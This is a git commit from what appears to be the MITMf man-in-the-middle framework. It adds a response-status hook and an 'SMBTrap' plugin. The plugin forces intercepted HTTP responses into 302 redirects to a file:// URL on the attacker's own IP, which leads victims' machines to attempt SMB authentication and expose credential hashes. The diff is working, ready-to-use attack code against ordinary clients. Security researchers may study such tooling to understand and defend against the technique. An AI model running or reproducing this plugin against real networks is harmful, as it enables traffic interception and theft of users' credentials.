handleStatus() is now hooked through serverResponseStatus, were now able to modify the server response code and message

added the SMBTrap plugin
This commit is contained in:
byt3bl33d3r 2015-05-22 20:16:47 +02:00
parent bdcee18be0
commit 840e202e5b
6 changed files with 36 additions and 2 deletions

View file

@ -44,7 +44,7 @@ class ProxyPlugins:
_instance = None _instance = None
plist = [] plist = []
mthdDict = {"connectionMade": "clientRequest", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"}
pmthds = {} pmthds = {}
@staticmethod @staticmethod

View file

@ -14,6 +14,9 @@ class HTTPServer:
return HTTPServer._instance return HTTPServer._instance
def addHandler(self, urlregex, handler, vhost=''):
self.application.add_handlers(vhost, [(urlregex, handler)])
def start(self, port=80): def start(self, port=80):
self.application.listen(port) self.application.listen(port)
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)

View file

@ -120,6 +120,7 @@ class ServerConnection(HTTPClient):
self.sendPostData() self.sendPostData()
def handleStatus(self, version, code, message): def handleStatus(self, version, code, message):
version, code, message = self.plugins.hook()
mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
self.client.setResponseCode(int(code), message) self.client.setResponseCode(int(code), message)

23
plugins/SMBTrap.py Normal file
View file

@ -0,0 +1,23 @@
import logging
import random
import string
from plugins.plugin import Plugin
from core.utils import SystemConfig
mitmf_logger = logging.getLogger("mitmf")
class SMBTrap(Plugin):
name = "SMBTrap"
optname = "smbtrap"
desc = "Exploits the SMBTrap vulnerability on connected clients"
version = "1.0"
has_opts = False
def initialize(self, options):
self.ourip = SystemConfig.getIP(options.interface)
def serverResponseStatus(self, request, version, code, message):
return (version, 302, "Found")
def serverHeaders(self, response, request):
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))

View file

@ -10,7 +10,7 @@ class TestPlugin(Plugin):
has_opts = False has_opts = False
def initialize(self, options): def initialize(self, options):
HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)]) HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler)
class MainHandler(tornado.web.RequestHandler): class MainHandler(tornado.web.RequestHandler):
def get(self): def get(self):

View file

@ -12,6 +12,7 @@ class Plugin(ConfigWatcher, object):
optname = "generic" optname = "generic"
tree_info = list() tree_info = list()
desc = "" desc = ""
version = "0.0"
has_opts = False has_opts = False
def initialize(self, options): def initialize(self, options):
@ -41,6 +42,12 @@ class Plugin(ConfigWatcher, object):
''' '''
pass pass
def serverResponseStatus(self, request, version, code, message):
'''
Handles server response HTTP version, code and message
'''
return (version, code, message)
def serverResponse(self, response, request, data): def serverResponse(self, response, request, data):
''' '''
Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images)